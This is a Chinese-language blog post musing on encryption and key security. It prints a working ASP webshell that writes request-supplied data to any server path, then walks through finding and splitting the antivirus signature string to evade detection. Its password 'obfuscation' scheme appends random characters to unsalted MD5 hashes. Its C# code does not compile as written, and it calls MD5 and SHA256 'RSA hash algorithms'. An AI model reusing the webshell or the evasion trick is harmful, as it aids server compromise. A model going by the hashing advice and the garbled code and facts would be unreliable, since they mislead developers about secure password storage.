不妨来探讨一下数据加密与解密

常见的加密与解密一般有三大类:

1.对称加密算法: 加密和解密使用同一个密钥-----单密钥加密DES、 AES

2.不对称加密算法:加密和解密使用不同的钥-----(公钥,私钥)---安全性高

3.RSA哈希算法:MD5 SHA256

 

       2013年,我曾经做过一次对称加密算法的详细解释与应用,当然我编写的软件也一直使用对称加密算法来解决加密与解密的问题。在此期间我一直在思考密钥的安全性问题,如果存储到数据库,一旦数据库被提权后,我们的数据依然在“裸奔”,如果写入到编译文件中,貌似我们可以反编译来破解我们的密钥。“矛盾”的关系往往这么奇怪,既需要锋利的矛,又想有坚固的盾。

       某然间,对于数据安全想到了常见的“代码混淆”,这里从病毒免杀的角度用一个小示例来解释“代码混淆”:

1.<%     //脚本开始标记
2.dim FSOFIL     //声明变量FSOFIL                                                                                                                                                                                                                                                      
3.dim Fildata     //声明变量Fildata
4.dim CountFil     //声明变量CountFil
5.on error resume next
6.Set FSOFIL = Server.CreateObject("Scripting.FileSystemObject")
7.if Trim(request("syfdpath"))<>"" then
8.Fildata = request("cyfddata")
9.Set CountFil=FSOFIL.CreateTextFile(request("syfdpath"),True)
10.CountFil.Write Fildata
11.if err =0 then
12.response.write "<font color=red>save Success!</font>"
13.else
14.response.write "<font color=red>Save UnSuccess!</font>"
15.end if
16.err.clear
17.end if
18.…………
19.…………
20.%>     //脚本结束标记
      假定我们的一段木马程序的特征码是“Scripting.FileSystemObject”,我们将脚本分为20个文件,每一行为一个文件,通过杀毒软件开始查杀,即可得出第6行文件为病毒文件即特征码位于“Set FSOFIL = Server.CreateObject("Scripting.FileSystemObject") ”中。
随后我们将Set FSOFIL = Server.CreateObject("Scripting.FileSystemObject") ”拆为“SetFSOFIL, Server.CreateObject,("Scripting.FileSystemObject")“5个文件,再次使用杀毒软件进行查杀,即可得出("Scripting.FileSystemObject")为病毒文件,我们通过“代码混淆”的方式来做免杀,如下所示:
                                                                             ("Scri”& “A1Pass”&”pting.F+"ileSyste”+ “A1Pass”&”mObject")
      其实这里就是利用了”连接符“的特性来把我们的特征码进行了拆分,这样在最基础的免杀就做好了,当让也可用自定义字符串然后拼接来实现。好了现在大家对“代码混淆”有了一个初步的认识,我们再来看加密数据中的“代码混淆”。
      已知md5的加密分为16字符串与32字符串,并且不可逆。例如"admin"加密后得出:
      md5(admin,32) = 21232f297a57a5a743894a0e4a801fc3
      存入数据库后应为:"1,admin,21232f297a57a5a743894a0e4a801fc3",分别代表id(自动增长),用户名,密码三个字段。现在我们对密码字段的MD5加密数据开展代码混淆:
string MD5= "21232f297a57a5a743894a0e4a801fc3";   //取出MD5值
string GetId=id.tostring();//取出ID值
int substringToNo = Int.Parse(GetId[0].tostring());//取出ID值第一位
string finalString =MD5.IndexOf(GetId);//取出id值第一次出现的位置,如果没有则返回-1
if (finalString != -1)
{
    MD5=MD5+GenerateRandomString(substringToNo);//生成Id值第一位数字数量的随机字符串并插入到MD5值末端
}
else
{
    MD5=MD5+GenerateRandomString(GetNo());//随机生成一个1-9位数字,根据这个数字生成对应字符串并插入到MD5值末端
}
 
 
public static string GenerateRandomString(int length)
{
    const char charStart = 'A'; // 起始字符
    const char charEnd = 'z'; // 结束字符
    const string specialChars = @"!@#$%^&*()_-+=[]{};':,./<>?\|"; // 特殊字符
    Random random = new Random();
    StringBuilder sb = new StringBuilder(length);
    for (int i = 0; i < length; i++)
    {
        char c;
        int randomNumber = random.Next(charStart, charEnd + 1);
        if (random.Next(0, 100) % 2 == 0) // 随机决定是生成字母还是特殊字符
        {
            c = (char)randomNumber;
        }
        else
        {
            c = specialChars[random.Next(specialChars.Length)];
        }
        sb.Append(c);
    }
    return sb.ToString();
}
public static Int GetNo()
{
    Random random = new Random();
    return random.Next(1, 10);
}
      好的,现在我们可以得出一个33-42位的随机字符串做为我们的加密数据文件,当然解密就更加简单,只需要直接获取这个字符串的前32位即可。
string finalString =MD5.IndexOf(GetId);//取出id值第一次出现的位置,如果没有则返回-1
if (finalString != -1)
{
    MD5=MD5+GenerateRandomString(substringToNo);//生成Id值第一位数字数量的随机字符串并插入到MD5值末端
}
else
{
    MD5=MD5+GenerateRandomString(GetNo());//随机生成一个1-9位数字,根据这个数字生成对应字符串并插入到MD5值末端
}

注意这个代码片段,我们其实可以把它变的更复杂、更具有迷惑性,就不过多去阐述,欢迎指正!

posted @ 2024-07-30 18:19  zilchwei  阅读(27)  评论(0编辑  收藏  举报